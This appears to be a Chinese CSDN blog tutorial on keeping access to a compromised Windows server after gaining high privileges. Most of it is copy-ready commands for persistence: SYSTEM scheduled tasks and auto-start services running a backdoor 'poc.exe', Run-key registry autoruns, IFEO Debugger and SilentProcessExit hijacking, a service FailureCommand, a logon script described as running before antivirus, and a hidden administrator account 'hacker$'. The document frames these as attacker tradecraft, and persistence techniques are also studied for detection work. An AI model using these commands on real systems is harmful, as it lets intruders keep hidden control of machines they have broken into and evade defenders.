Windows权限维持方法

Windows权限维持方法

权限维持

在获取服务器权限后,通常会用一些后门技术来维持服务器权限,以防在服务器重启之后丢失shell。权限维持一般在获取了高权限下进行。服务器一旦被植入后门,攻击者便如入无人之境。以下是部分权限维持的技巧,下篇会讲述域环境下的权限维持,主要用到黄金、白银票据

构建计划任务

windows中使用schtasks命令创建计划任务,传送门——> windows计划任务创建—schtasks命令

  1. 创建计划任务"updatex",触发程序为poc.exe,运行级别为高级别,以system权限每隔四个小时运行一次。

schtasks /create /tn “updatex” /tr C:\Users\Administrator\Desktop\poc.exe /rl highest /F /sc hourly /mo 4 /RU system
ps:如果当前为普通用户执行计划任务, /ru参数值可以设置为 %username%,如果是管理员则可以指定为system

注册自启动服务

自启动服务一般是在电脑启动后在后台加载指定的服务程序,我们可以将 exe 文件注册为服务,也可以将 dll 文件注册为服务。

针对服务的操作,涉及到一条命令sc。其可以更改服务的属性、启动状态,删除或停止服务。

  1. 创建服务

#创建名为test的服务(注意等号后面有空格),设置自启动,启动权限为system
sc create test binpath= C:\Users\Administrator\Desktop\poc.exe start= auto obj= Localsystem
#启动服务
net start test
#查询服务
sc query test
#删除服务
sc delete test
服务如下

启动时exe马上运行,过了几秒钟则服务会停止运行,exe也掉线了。因为服务运行的exe如何不符合规范则会停止运行服务。此时我们需要对进程进行迁移,才会不掉线

自启动注册表植入后门

windows提供了专门的开机自启动注册表。在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序。所以,要想修改注册表实现开机自启动,就需要在这个注册表键值下写入我们想要启动的程序的所在路径。

几个比较常用的实现开机自启动的注册表键值如下,我们可以在这个注册表键下写入要启动的程序路径即可实现开机自启动。ps: 哪个账户设置的注册表就需要用哪个账户登录,才会实现开机自启

#Run键
HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

  1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

添加键test,值为后门程序路径

REG ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v test /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”

在win2012机器上,成果启动poc.exe。但是在win7上面并没有自启!!

  1. HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run

REG ADD “HKEY_CURRENT_USER\Software\Mircosoft\Windows\CurrentVersion\Run” /v test /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
win7和win2012中都没实现开机自启

映像劫持

“映像劫持”,也被称为 “IFEO”(Image File Execution Options)。通过修改“Debugger“项值,替换执行程序,加以利用。映像劫持其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序

作用:劫持对应的程序后,打开该程序运行的是别的程序,比如运行A.exe打开的则是CALC.exe

其注册表路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

  1. 在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe。

对notepad++程序进行劫持

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad++.exe” /v Debugger /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
此时打开notepad++,则相当于双击了poc.exe。notepad++则不会打开

映像劫持新玩法:

上所讲述,通过修改IFEO中的“debugger”键值,用来替换原有程序的执行。而新的利用方法,实现的效果是:程序A静默退出结束后,会执行程序B。

效果:程序A静默退出结束后,会执行程序B。

劫持notepad.exe示例:

reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe” /v GlobalFlag /t REG_DWORD /d 512
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v ReportingMode /t REG_DWORD /d 1
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /t REG_SZ /d “C:\Windows\System32\calc.exe”
此时我们打开notepad再关闭后就会弹出计算器

简单解释一下ReportingMode和MonitorProcess 这两个项值的作用。MonitorProcess的值表示监视器进程。Reporting Mode可以设置为三个值 。

Flag Value 解释
LAUNCH_MONITORPROCESS 0x1 检测到进程静默退出时,将会启动监视器进程(在GFLAGS.exe中,Silent Process Exit这个选项卡所填写的值,即MonitorProcess的项值)
LOCAL_DUMP 0x2 检测到进程静默退出时,将会为受监视的进程创建转储文件
NOTIFICATION 0x4 检查到进程静默退出时,将会弹出一个通知
参考:Image File Execution Options新玩法

失败命令
Windows提供了一种功能,以便在服务无法启动或其通信过程终止时执行某些操作。具体来说,当服务被终止时,接着会执行一个命令。相当于上面关闭了notepad时又调用了一个程序一样。控制此操作的注册表项是“ FailureCommand ”,其值将定义要执行的操作。

我们将命令设置为执行poc.exe

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time” /v FailureCommand /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
上述命令将使用一个恶意可执行文件修改注册表项,该可执行文件将在其进程被杀死后运行。

这里我的poc.exe没有启动成功。可参考:权限维持篇-利用现有服务维权—失败命令

logon scripts 后门
Windows 登录脚本,当用户登录时触发,Logon Scripts 能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:HKEY_CURRENT_USER\Environment

REG ADD “HKEY_CURRENT_USER\Environment” /v UserInitMprLogonScript /t REG_SZ /d “C:\Users\Administrator\Desktop\poc.exe”
用户一登录成功执行poc.exe

创建隐藏账号

当主机开放了3389端口,我们可以创建隐藏账号

  1. 使用如下命令创建隐藏用户并加入管理员组

net user hacker$ 123456 /add
net localgroup administrators hacker$ /add
创建成功后使用 net user 命令无法查看到此用户

但是 net localgroup administrators 可以查看到

虽然net user看不到隐蔽账号,但是计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。

我们可以通过对注册表的修改来将其完全隐藏 ——> Windows创建克隆隐藏账号
————————————————
版权声明:本文为CSDN博主「山山而川’」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_44159028/article/details/124170549

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值